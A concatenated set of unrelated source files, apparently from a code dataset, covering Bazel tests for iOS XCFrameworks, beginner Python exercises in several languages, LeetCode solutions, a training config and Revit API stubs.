"UIDeviceFamily:0": "2",
},
tags = [name],
)
# Tests that info plist merging is respected by XCFrameworks.
archive_contents_test(
name = "{}_multiple_infoplist_test".format(name),
build_type = "device",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_multiple_infoplists",
plist_test_file = "$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_multiple_infoplists.framework/Info.plist",
plist_test_values = {
"AnotherKey": "AnotherValue",
"CFBundleExecutable": "ios_dynamic_xcframework_multiple_infoplists",
},
tags = [name],
)
# Tests that resource bundles and files assigned through "data" are respected.
archive_contents_test(
name = "{}_dbg_resources_data_test".format(name),
build_type = "device",
compilation_mode = "dbg",
is_binary_plist = [
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework_with_data_resource_bundle.framework/resource_bundle.bundle/Info.plist",
"$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_with_data_resource_bundle.framework/resource_bundle.bundle/Info.plist",
],
is_not_binary_plist = [
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework_with_data_resource_bundle.framework/Another.plist",
"$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_with_data_resource_bundle.framework/Another.plist",
],
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_with_data_resource_bundle",
tags = [name],
)
archive_contents_test(
name = "{}_opt_resources_data_test".format(name),
build_type = "device",
compilation_mode = "opt",
is_binary_plist = [
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework_with_data_resource_bundle.framework/resource_bundle.bundle/Info.plist",
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework_with_data_resource_bundle.framework/Another.plist",
"$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_with_data_resource_bundle.framework/resource_bundle.bundle/Info.plist",
"$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_with_data_resource_bundle.framework/Another.plist",
],
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_with_data_resource_bundle",
tags = [name],
)
# Tests that resource bundles assigned through "deps" are respected.
archive_contents_test(
name = "{}_dbg_resources_deps_test".format(name),
build_type = "device",
compilation_mode = "dbg",
is_binary_plist = [
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework_with_deps_resource_bundle.framework/resource_bundle.bundle/Info.plist",
"$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_with_deps_resource_bundle.framework/resource_bundle.bundle/Info.plist",
],
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_with_deps_resource_bundle",
tags = [name],
)
archive_contents_test(
name = "{}_opt_resources_deps_test".format(name),
build_type = "device",
compilation_mode = "opt",
is_binary_plist = [
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_xcframework_with_deps_resource_bundle.framework/resource_bundle.bundle/Info.plist",
"$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_with_deps_resource_bundle.framework/resource_bundle.bundle/Info.plist",
],
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_with_deps_resource_bundle",
tags = [name],
)
# Tests that the exported symbols list works for XCFrameworks.
archive_contents_test(
name = "{}_exported_symbols_lists_stripped_test".format(name),
build_type = "device",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_stripped",
binary_test_file = "$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_stripped.framework/ios_dynamic_xcframework_stripped",
compilation_mode = "opt",
binary_test_architecture = "x86_64",
binary_contains_symbols = ["_anotherFunctionShared"],
binary_not_contains_symbols = ["_dontCallMeShared", "_anticipatedDeadCode"],
tags = [name],
)
# Tests that multiple exported symbols lists works for XCFrameworks.
archive_contents_test(
name = "{}_two_exported_symbols_lists_stripped_test".format(name),
build_type = "device",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_stripped_two_exported_symbols_lists",
binary_test_file = "$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_stripped_two_exported_symbols_lists.framework/ios_dynamic_xcframework_stripped_two_exported_symbols_lists",
compilation_mode = "opt",
binary_test_architecture = "x86_64",
binary_contains_symbols = ["_anotherFunctionShared", "_dontCallMeShared"],
binary_not_contains_symbols = ["_anticipatedDeadCode"],
tags = [name],
)
# Tests that dead stripping + exported symbols lists works for XCFrameworks just as it does for
# dynamic frameworks.
archive_contents_test(
name = "{}_exported_symbols_list_dead_stripped_test".format(name),
build_type = "device",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_xcframework_dead_stripped",
binary_test_file = "$BUNDLE_ROOT/ios-x86_64-simulator/ios_dynamic_xcframework_dead_stripped.framework/ios_dynamic_xcframework_dead_stripped",
compilation_mode = "opt",
binary_test_architecture = "x86_64",
binary_contains_symbols = ["_anotherFunctionShared"],
binary_not_contains_symbols = ["_dontCallMeShared", "_anticipatedDeadCode"],
tags = [name],
)
# Tests that generated swift interfaces work for XCFrameworks when a swift_library is included.
archive_contents_test(
name = "{}_swift_interface_generation_test".format(name),
build_type = "device",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_dynamic_lipoed_swift_xcframework",
contains = [
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/ios_dynamic_lipoed_swift_xcframework.framework/Modules/ios_dynamic_lipoed_swift_xcframework.swiftmodule/arm64.swiftdoc",
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/ios_dynamic_lipoed_swift_xcframework.framework/Modules/ios_dynamic_lipoed_swift_xcframework.swiftmodule/arm64.swiftinterface",
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/ios_dynamic_lipoed_swift_xcframework.framework/Modules/ios_dynamic_lipoed_swift_xcframework.swiftmodule/x86_64.swiftdoc",
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/ios_dynamic_lipoed_swift_xcframework.framework/Modules/ios_dynamic_lipoed_swift_xcframework.swiftmodule/x86_64.swiftinterface",
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/ios_dynamic_lipoed_swift_xcframework.framework/ios_dynamic_lipoed_swift_xcframework",
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/ios_dynamic_lipoed_swift_xcframework.framework/Info.plist",
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_lipoed_swift_xcframework.framework/Modules/ios_dynamic_lipoed_swift_xcframework.swiftmodule/arm64.swiftdoc",
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_lipoed_swift_xcframework.framework/Modules/ios_dynamic_lipoed_swift_xcframework.swiftmodule/arm64.swiftinterface",
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_lipoed_swift_xcframework.framework/ios_dynamic_lipoed_swift_xcframework",
"$BUNDLE_ROOT/ios-arm64/ios_dynamic_lipoed_swift_xcframework.framework/Info.plist",
"$BUNDLE_ROOT/Info.plist",
],
tags = [name],
)
# Test that the Swift generated header is propagated to the Headers visible within this iOS
# framework along with the swift interfaces and modulemap.
archive_contents_test(
name = "{}_swift_generates_header_test".format(name),
build_type = "simulator",
compilation_mode = "opt",
target_under_test = "//test/starlark_tests/targets_under_test/apple:ios_swift_xcframework_with_generated_header",
contains = [
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/SwiftFmwkWithGenHeader.framework/Headers/SwiftFmwkWithGenHeader.h",
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/SwiftFmwkWithGenHeader.framework/Modules/module.modulemap",
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/SwiftFmwkWithGenHeader.framework/Modules/SwiftFmwkWithGenHeader.swiftmodule/arm64.swiftdoc",
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/SwiftFmwkWithGenHeader.framework/Modules/SwiftFmwkWithGenHeader.swiftmodule/arm64.swiftinterface",
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/SwiftFmwkWithGenHeader.framework/Modules/SwiftFmwkWithGenHeader.swiftmodule/x86_64.swiftdoc",
"$BUNDLE_ROOT/ios-arm64_x86_64-simulator/SwiftFmwkWithGenHeader.framework/Modules/SwiftFmwkWithGenHeader.swiftmodule/x86_64.swiftinterface",
"$BUNDLE_ROOT/ios-arm64/SwiftFmwkWithGenHeader.framework/Headers/SwiftFmwkWithGenHeader.h",
"$BUNDLE_ROOT/ios-arm64/SwiftFmwkWithGenHeader.framework/Modules/module.modulemap",
"$BUNDLE_ROOT/ios-arm64/SwiftFmwkWithGenHeader.framework/Modules/SwiftFmwkWithGenHeader.swiftmodule/arm64.swiftdoc",
"$BUNDLE_ROOT/ios-arm64/SwiftFmwkWithGenHeader.framework/Modules/SwiftFmwkWithGenHeader.swiftmodule/arm64.swiftinterface",
],
tags = [name],
)
native.test_suite(
name = name,
tags = [name],
)
|
n=int(input('Qual o primeiro termo de uma PA? '))
r=int(input('Qual a razão da sua PA? '))
termo=n
cont=1
total=0
mais=5
while mais!=0:
total= total+ mais
while cont<=total:
print(termo)
termo+=r
cont=cont+1
print('pausa')
mais=int(input('Quantos termos você quer mostra? '))
print('{} termos mostrados'.format(total))
|
ROMAN_TO_INT = {
'I': 1,
'V': 5,
'X': 10,
'L': 50,
'C': 100,
'D': 500,
'M': 1000,
}
class Solution:
def recursive_roman_to_int(self, s):
"""
:type s: str
:rtype: int
"""
length = len(s)
if length == 0:
return 0
elif length == 1:
return ROMAN_TO_INT[s]
first, second = ROMAN_TO_INT[s[0]], ROMAN_TO_INT[s[1]]
if first >= second:
return first + self.romanToInt(s[1:])
else:
return (second - first) + self.romanToInt(s[2:])
romanToInt = recursive_roman_to_int
|
def generate_matrix(n):
results = [[0 for i in range(n)] for i in range(n)]
left = 0
right = n - 1
up = 0
down = n - 1
current_num = 1
while left < right and up < down:
for i in range(left, right + 1):
results[up][i] = current_num
current_num += 1
for i in range(up + 1, down + 1):
results[i][right] = current_num
current_num += 1
for i in reversed(range(left, right)):
results[down][i] = current_num
current_num += 1
for i in reversed(range(up + 1, down)):
results[i][left] = current_num
current_num += 1
left += 1
right -= 1
up += 1
down -= 1
if up == down:
for i in range(left, right + 1):
results[up][i] = current_num
current_num += 1
elif left == right:
for i in range(up, down + 1):
results[i][left] = current_num
current_num += 1
return results
if __name__ == '__main__':
n_ = 4
results_ = generate_matrix(n_)
for row in results_:
print(row)
|
class RuntimeConfig:
def __init__(self):
self.items = {}
def add_item(self, item: dict):
"""
Add an item to the runtime config
"""
self.items.update(item)
def get(self, key: str):
"""
Get specific item from config. Returns None if key doesn't exist.
"""
return self.items.get(key, None)
def get_all(self) -> dict:
"""
Return all items from runtime config
"""
return self.items
runtime_config = RuntimeConfig()
|
"""
Crie um programa que tenha uma Tupla totalmente preenchida com uma contagem por extenso,
de zero até vinte.
Seu programa devera ler um numero pelo teclado(entre 0 e 20) e mostra-lo por extenso.
"""
numeros = ('Zero', 'Um', 'Dois', 'Tres', 'Quatro', 'Cinco', 'Seis',
'Sete', 'Oito', 'Nove', 'Dez', 'Onze', 'Doze', 'Treze', 'Catorze', 'Quinze', 'Dezesseis', 'Dezessete', 'Dezoito', 'Dezenove', 'Vinte')
dig = int(input('Digite um numero entre 0 e 20: '))
while dig not in range(0, len(numeros)):
dig = int(input('Tente novamente. Digite um numero entre 0 e 20: '))
print(f'O Numero digitado foi o', numeros[dig]) |
# Copyright 2017-2022 Lawrence Livermore National Security, LLC and other
# Hatchet Project Developers. See the top-level LICENSE file for details.
#
# SPDX-License-Identifier: MIT
dot_keywords = ["graph", "subgraph", "digraph", "node", "edge", "strict"]
|
price_of_one_shovel, denomination_of_special_coin = map(int, input().split())
number_of_coins = 0
while True:
number_of_shovels1 = (10 * number_of_coins + denomination_of_special_coin) / price_of_one_shovel
number_of_shovels2 = 10 * (number_of_coins + 1) / price_of_one_shovel
if number_of_shovels1 % 1 == 0:
print(int(number_of_shovels1))
break
elif number_of_shovels2 % 1 == 0:
print(int(number_of_shovels2))
break
else:
number_of_coins += 1
|
print('=' * 12 + 'Desafio 84' + '=' * 12)
info = []
temp = []
resp = 'S'
menor = -1
maior = -1
contador = 0
while resp in 'sS':
temp.append(input('Digite o nome: '))
temp.append(float(input('Digite o peso: ')))
info.append(temp[:])
if menor == -1:
menor = temp[1]
maior = temp[1]
if temp[1] < menor:
menor = temp[1]
if temp[1] > maior:
maior = temp[1]
temp.clear()
contador+=1
resp = input('Deseja continuar [S/N]? ')
print(f'Foram cadastradas {contador} pessoas.')
print(f'O maior peso encontrado foi {maior} kg, que é o peso de: ', end='')
for c in info:
if c[1] == maior:
print(f'{c[0]}, ', end='')
print()
print(f'O menor peso encontrado foi {menor} kg, que é o peso de: ', end='')
for c in info:
if c[1] == menor:
print(f'{c[0]}, ', end='')
print() |
# BSD 3-Clause License
#
# Copyright (C) 2021 THL A29 Limited, a Tencent company. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
#
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# * Neither the name of the psutil authors nor the names of its contributors
# may be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
def get_patrickstar_config(
args, lr=0.001, betas=(0.9, 0.999), eps=1e-6, weight_decay=0
):
config = {
# The same format as optimizer config of DeepSpeed
# https://www.deepspeed.ai/docs/config-json/#optimizer-parameters
"optimizer": {
"type": "Adam",
"params": {
"lr": lr,
"betas": betas,
"eps": eps,
"weight_decay": weight_decay,
"use_hybrid_adam": args.use_hybrid_adam,
},
},
"fp16": {
"enabled": True,
# Set "loss_scale" to 0 to use DynamicLossScaler.
"loss_scale": 0,
"initial_scale_power": args.init_loss_scale_power,
"loss_scale_window": 1000,
"hysteresis": 2,
"min_loss_scale": 1,
},
"default_chunk_size": args.default_chunk_size,
"release_after_init": args.release_after_init,
"use_fake_dist": args.use_fake_dist,
"use_cpu_embedding": args.use_cpu_embedding,
"client": {
"mem_tracer": {
"use_async_mem_monitor": args.with_async_mem_monitor,
"warmup_gpu_chunk_mem_ratio": 0.1,
"overall_gpu_mem_ratio": 0.9,
"overall_cpu_mem_ratio": 0.9,
"margin_use_ratio": 0.8,
"use_fake_dist": False,
"with_static_partition": args.with_static_partition,
},
"opts": {
"with_mem_saving_comm": args.with_mem_saving_comm,
"with_mem_cache": args.with_mem_cache,
"with_async_move": args.with_async_move,
},
},
}
return config
|
# https://leetcode.com/problems/defanging-an-ip-address/
'''
"1.1.1.1"
"1[.]1[.]1[.]1"
"255.100.50.0"
"255[.]100[.]50[.]0"
'''
def defang_ip_address(address):
address_chars_list = []
for char in address:
if char == '.':
address_chars_list.append('[.]')
else:
address_chars_list.append(char)
return ''.join(address_chars_list)
data_tests = [
("1.1.1.1", "1[.]1[.]1[.]1"),
("255.100.50.0", "255[.]100[.]50[.]0")
]
for address, expected in data_tests:
result = defang_ip_address(address)
print(result, result == expected)
|
print("How old are you?",end=' ')
age =input()
print("How tell are you?",end=' ')
height =input()
print("How much do you weight?",end=' ')
weight =input()
print("So, you're %r old, %r tall and %r heavy."%(age, height, weight))
|
iterable = [1,2,3]
iterator = iter(iterable)
print( next(iterator) )
print( next(iterator) )
print( next(iterator) ) |
fname = input('Enter the file name: ')
try:
fhand = open(fname)
except:
print('File cannot be opened:', fname)
exit()
lineslist=[]
emaildict={}
for line in fhand:
lineslist = line.split()
if line.startswith('From '):
email=lineslist[1]
if email not in emaildict:
emaildict[email] = 1
else:
emaildict[email] += 1
print (emaildict) |
"""
mujer--> m-->int
hombre--> h-->int
"""
#entradas
m=int(input("Colocar cantidad de hombres "))
h=int(input("Colocar cantidad de mujeres "))
#Caja negra
p=(m+h)
Mi=(m*100)/p
Pi=(h*100)/p
#Salida
print("El promedio de mujeres es: ", Mi,"%")
print("El promedio de hombres: ", Pi,"%")
|
"""Put your shared fixtures here.
They will be automatically shared between all tests.
"""
|
print("Kinjal Raykarmakar\nSec: CSE2H\tRoll: 29\n")
base = int(input("Enter the length of the base: "))
height = int(input("Enter the length of the height: "))
print("The area of the triangle is:", 0.5 * base * height) |
# Создать класс Payment (зарплата). В классе должны быть представлены поля: фамилия-
# имя-отчество, оклад, год поступления на работу, процент надбавки, подоходный налог,
# количество отработанных дней в месяце, количество рабочих дней в месяце, начисленная и
# удержанная суммы. Реализовать методы:
# вычисления начисленной суммы,
# вычисления удержанной суммы,
# вычисления суммы, выдаваемой на руки,
# вычисления стажа. Стаж вычисляется как полное количество лет, прошедших от года
# поступления на работу, до текущего года.
# Начисления представляют собой сумму, начисленную за отработанные дни, и
# надбавки, то есть доли от первой суммы. Удержания представляют собой отчисления в
# пенсионный фонд (1% от начисленной суммы) и подоходный налог. Подоходный налог
# составляет 13% от начисленной суммы без отчислений в пенсионный фонд.
# !/usr/bin/env python3
# -*- coding: utf-8 -*-
class Payment:
def __init__(self, Name=' ', year=0, oklad=0, percent=0, Worked_days=0, working_day=1):
self.Name = str(Name)
self.year = int(year)
self.oklad = int(oklad)
self.percent = float(percent)
self.Worked_days = int(Worked_days)
self.working_day = int(working_day)
self.amount = 0
self.heldAmount = 0
self.handAmount = 0
self.expir = 0
self.accruedAmount()
self.withheldAmount()
self.handedAmount()
self.experience()
def read(self):
Name = input('Введите ФИО: ')
oklad = input('Укажите оклад: ')
year = input('Укажите год вашего поступления на работу: ')
percent = input('Укажите процент надбавки: ')
Worked_days = input('Укажите количество отработанных дней в месяце: ')
working_day = input('Введите количество рабочих дней в месяце: ')
self.Name = str(Name)
self.oklad = int(oklad)
self.year = int(year)
self.percent = float(percent)
self.Worked_days = int(Worked_days)
self.working_day = int(working_day)
self.accruedAmount()
self.withheldAmount()
self.handedAmount()
self.experience()
def display(self):
print(f"Начисленная зарплата: {round(self.amount)}")
print(f"Сумма вычетов: {round(self.heldAmount)}")
print(f"Выданная на руки заработная плата: {round(self.handAmount)}")
print(f"Размер трудового стажа: {self.expir} год/года/лет")
def accruedAmount(self):
a = self.oklad / self.working_day
b = a * self.Worked_days
percent = self.percent / 100 + 1
self.amount = b * percent
def withheldAmount(self):
plata = (self.oklad / self.working_day) * self.Worked_days
self.heldAmount = (plata * 0.13) + (plata * 0.01)
def handedAmount(self):
self.handAmount = self.amount - self.heldAmount
def experience(self):
self.expir = 2020 - self.year
if __name__ == '__main__':
s = Payment()
s.read()
s.display() |
def determineTime(arr):
totalSec = 0
for a in arr:
(h, m, s) = a.split(':')
totalSec += (int(h) * 3600 + int(m) * 60 + int(s))
return (24 * 60 * 60) > totalSec |
class Solution(object):
def defangIPaddr(self, address):
"""
:type address: str
:rtype: str
"""
# Runtime: 16 ms
# Memory: 13.1 MB
return address.replace(".", "[.]")
|
# average of elements:
def average():
list_numbers = [25, 45, 12, 45, 85, 25]
print("This is the given list of numbers: ")
print(list_numbers)
total = 0
for i in list_numbers:
total += i
total /= len(list_numbers)
print(f"The average of the numbers are: {total}")
average()
|
class EnergyAnalysisOpening(Element,IDisposable):
""" Analytical opening. """
def Dispose(self):
""" Dispose(self: Element,A_0: bool) """
pass
def GetAnalyticalSurface(self):
"""
GetAnalyticalSurface(self: EnergyAnalysisOpening) -> EnergyAnalysisSurface
Gets the associative analytical parent surface element.
Returns: The associative analytical parent surface element.
"""
pass
def getBoundingBox(self,*args):
""" getBoundingBox(self: Element,view: View) -> BoundingBoxXYZ """
pass
def GetPolyloop(self):
"""
GetPolyloop(self: EnergyAnalysisOpening) -> Polyloop
Gets the planar polygon describing the opening geometry.
"""
pass
def ReleaseUnmanagedResources(self,*args):
""" ReleaseUnmanagedResources(self: Element,disposing: bool) """
pass
def setElementType(self,*args):
""" setElementType(self: Element,type: ElementType,incompatibleExceptionMessage: str) """
pass
def __enter__(self,*args):
""" __enter__(self: IDisposable) -> object """
pass
def __exit__(self,*args):
""" __exit__(self: IDisposable,exc_type: object,exc_value: object,exc_back: object) """
pass
def __init__(self,*args):
""" x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """
pass
CADLinkUniqueId=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""The unique id of the originating CAD object's link (linked document) associated with this opening.
Get: CADLinkUniqueId(self: EnergyAnalysisOpening) -> str
"""
CADObjectUniqueId=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""The unique id of the originating CAD object (model element) associated with this opening.
Get: CADObjectUniqueId(self: EnergyAnalysisOpening) -> str
"""
Corner=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""The lower-left coordinate for the analytical rectangular geometry viewed from outside.
Get: Corner(self: EnergyAnalysisOpening) -> XYZ
"""
Height=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""The height of the analytical rectangular geometry.
Get: Height(self: EnergyAnalysisOpening) -> float
"""
OpeningId=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""The unique identifier for the opening.
Get: OpeningId(self: EnergyAnalysisOpening) -> str
"""
OpeningName=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""The unique name identifier for the opening.
Get: OpeningName(self: EnergyAnalysisOpening) -> str
"""
OpeningType=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""The analytical opening type.
Get: OpeningType(self: EnergyAnalysisOpening) -> EnergyAnalysisOpeningType
"""
OriginatingElementDescription=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""The description for the originating Revit element.
Get: OriginatingElementDescription(self: EnergyAnalysisOpening) -> str
"""
Type=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""The gbXML opening type attribute.
Get: Type(self: EnergyAnalysisOpening) -> gbXMLOpeningType
"""
Width=property(lambda self: object(),lambda self,v: None,lambda self: None)
"""The width of the analytical rectangular geometry.
Get: Width(self: EnergyAnalysisOpening) -> float
"""
|
#!/usr/bin/env python
# pylint: disable=W0212
def limit(self, start_or_stop=None, stop=None, step=None):
"""
Create a new table with fewer rows.
See also: Python's builtin :func:`slice`.
:param start_or_stop:
If the only argument, then how many rows to include, otherwise,
the index of the first row to include.
:param stop:
The index of the last row to include.
:param step:
The size of the jump between rows to include. (`step=2` will return
every other row.)
:returns:
A new :class:`.Table`.
"""
if stop or step:
s = slice(start_or_stop, stop, step)
else:
s = slice(start_or_stop)
rows = self._rows[s]
if self._row_names is not None:
row_names = self._row_names[s]
else:
row_names = None
return self._fork(rows, row_names=row_names)
|
load("//:import_external.bzl", import_external = "safe_wix_scala_maven_import_external")
def dependencies():
import_external(
name = "org_codehaus_plexus_plexus_archiver",
artifact = "org.codehaus.plexus:plexus-archiver:3.4",
artifact_sha256 = "3c6611c98547dbf3f5125848c273ba719bc10df44e3f492fa2e302d6135a6ea5",
srcjar_sha256 = "1887e8269928079236c9e1a75af5b5e256f4bfafaaed18da5c9c84faf5b26a91",
deps = [
"@commons_io_commons_io",
"@org_apache_commons_commons_compress",
"@org_codehaus_plexus_plexus_io",
"@org_codehaus_plexus_plexus_utils",
"@org_iq80_snappy_snappy"
],
runtime_deps = [
"@org_tukaani_xz"
],
)
import_external(
name = "org_codehaus_plexus_plexus_classworlds",
artifact = "org.codehaus.plexus:plexus-classworlds:2.5.2",
artifact_sha256 = "b2931d41740490a8d931cbe0cfe9ac20deb66cca606e679f52522f7f534c9fd7",
srcjar_sha256 = "d087c4c0ff02b035111bb72c72603b2851d126c43da39cc3c73ff45139125bec",
)
import_external(
name = "org_codehaus_plexus_plexus_component_annotations",
artifact = "org.codehaus.plexus:plexus-component-annotations:1.7.1",
artifact_sha256 = "a7fee9435db716bff593e9fb5622bcf9f25e527196485929b0cd4065c43e61df",
srcjar_sha256 = "18999359e8c1c5eb1f17a06093ceffc21f84b62b4ee0d9ab82f2e10d11049a78",
excludes = [
"junit:junit",
],
)
import_external(
name = "org_codehaus_plexus_plexus_container_default",
artifact = "org.codehaus.plexus:plexus-container-default:1.7.1",
artifact_sha256 = "f3f61952d63675ef61b42fa4256c1635749a5bc17668b4529fccde0a29d8ee19",
srcjar_sha256 = "4464c902148ed19381336e6fcf17e914dc895416953888bb049bdd4f7ef86b80",
deps = [
"@com_google_collections_google_collections",
"@org_apache_xbean_xbean_reflect",
"@org_codehaus_plexus_plexus_classworlds",
"@org_codehaus_plexus_plexus_utils"
],
)
import_external(
name = "org_codehaus_plexus_plexus_interpolation",
artifact = "org.codehaus.plexus:plexus-interpolation:1.24",
artifact_sha256 = "8fe2be04b067a75d02fb8a1a9caf6c1c8615f0d5577cced02e90b520763d2f77",
srcjar_sha256 = "0b372b91236c4a2c63dc0d6b2010e10c98b993fc8491f6a02b73052a218b6644",
)
import_external(
name = "org_codehaus_plexus_plexus_io",
artifact = "org.codehaus.plexus:plexus-io:2.7.1",
artifact_sha256 = "20aa9dd74536ad9ce65d1253b5c4386747483a7a65c48008c9affb51854539cf",
deps = [
"@commons_io_commons_io",
"@org_codehaus_plexus_plexus_utils"
],
)
import_external(
name = "org_codehaus_plexus_plexus_utils",
artifact = "org.codehaus.plexus:plexus-utils:3.1.0",
artifact_sha256 = "0ffa0ad084ebff5712540a7b7ea0abda487c53d3a18f78c98d1a3675dab9bf61",
srcjar_sha256 = "06eb127e188a940ebbcf340c43c95537c3052298acdc943a9b2ec2146c7238d9",
)
import_external(
name = "org_codehaus_plexus_plexus_velocity",
artifact = "org.codehaus.plexus:plexus-velocity:1.1.8",
artifact_sha256 = "36b3ea3d0cef03f36bd2c4e0f34729c3de80fd375059bdccbf52b10a42c6ec2c",
srcjar_sha256 = "906065102c989b1a82ab0871de1489381835af84cdb32c668c8af59d8a7767fe",
deps = [
"@commons_collections_commons_collections",
"@org_codehaus_plexus_plexus_container_default",
"@velocity_velocity"
],
)
|
# Solution 1
# O(n) time / O(1) space
def indexEqualsValue(array):
for index in range(len(array)):
value = array[index]
if index == value:
return index
return -1
# Solution 2 - recursion
# O(log(n)) time / O(log(n)) space
def indexEqualsValue(array):
return indexEqualsValueHelper(array, 0, len(array) -1)
def indexEqualsValueHelper(array, leftIndex, rightIndex):
if leftIndex > rightIndex:
return -1
middleIndex = leftIndex + (rightIndex - leftIndex) // 2
middleValue = array[middleIndex]
if middleValue < middleIndex:
return indexEqualsValueHelper(array, middleIndex + 1, rightIndex)
elif middleValue == middleIndex and middleIndex == 0:
return middleIndex
elif middleValue == middleIndex and array[middleIndex - 1] < middleIndex - 1:
return middleIndex
else:
return indexEqualsValueHelper(array, leftIndex, middleIndex - 1)
# Solution 3 - iteration
# O(log(n)) time / O(1) space
def indexEqualsValue(array):
leftIndex = 0
rightIndex = len(array) - 1
while leftIndex <= rightIndex:
middleIndex = leftIndex + (rightIndex - leftIndex) // 2
middleValue = array[middleIndex]
if middleValue < middleIndex:
leftIndex = middleIndex + 1
elif middleValue == middleIndex and middleIndex == 0:
return middleIndex
elif middleValue == middleIndex and array[middleIndex - 1] < middleIndex - 1:
return middleIndex
else:
rightIndex = middleIndex - 1
return -1
|
value_l = ['название', 'цена', 'количество', 'единица измерения']
l = []
n = 'y'
i = 0
while n == 'y':
d = {}
i += 1
for value in value_l:
d[value] = input(f'Введите {value}: ')
l.append((i, d))
n = input('Для ввода еще одного элемента в список, нажмите y: ').lower()
print(f'Введен список: {l}')
d = {}
for value in value_l:
tmp = set()
for tup in l:
tmp.add(tup[1][value])
d[value] = list(tmp)
print(d)
|
def near_hundred(n):
if 90 <= n <=110 or 190 <= n <= 210:
return True
else:
return False
result = near_hundred(93)
print(result)
result = near_hundred(90)
print(result)
result = near_hundred(89)
print(result)
result = near_hundred(190)
print(result)
result = near_hundred(210)
print(result)
result = near_hundred(211)
print(result)
|
#!/usr/bin/python
__author__ = "Bassim Aly"
__EMAIL__ = "basim.alyy@gmail.com"
# sudo scapy
# send(IP(dst="10.10.10.1")/ICMP()/"Welcome to Enterprise Automation Course")
|
# coding: utf-8
__all__ = [
"__package_name__",
"__module_name__",
"__copyright__",
"__version__",
"__license__",
"__author__",
"__author_twitter__",
"__author_email__",
"__documentation__",
"__url__",
]
__package_name__ = "PyVideoEditor"
__module_name__ = "veditor"
__copyright__ = "Copyright (C) 2021 iwasakishuto"
__version__ = "0.1.0"
__license__ = "MIT"
__author__ = "iwasakishuto"
__author_twitter__ = "https://twitter.com/iwasakishuto"
__author_email__ = "cabernet.rock@gmail.com"
__documentation__ = "https://iwasakishuto.github.io/PyVideoEditor"
__url__ = "https://github.com/iwasakishuto/PyVideoEditor"
|
"""
Smirk - Web Application Framework
Copyright (c) 2016 Brett Fraley
Source Repository
https://github.com/bFraley/Smirk
MIT License
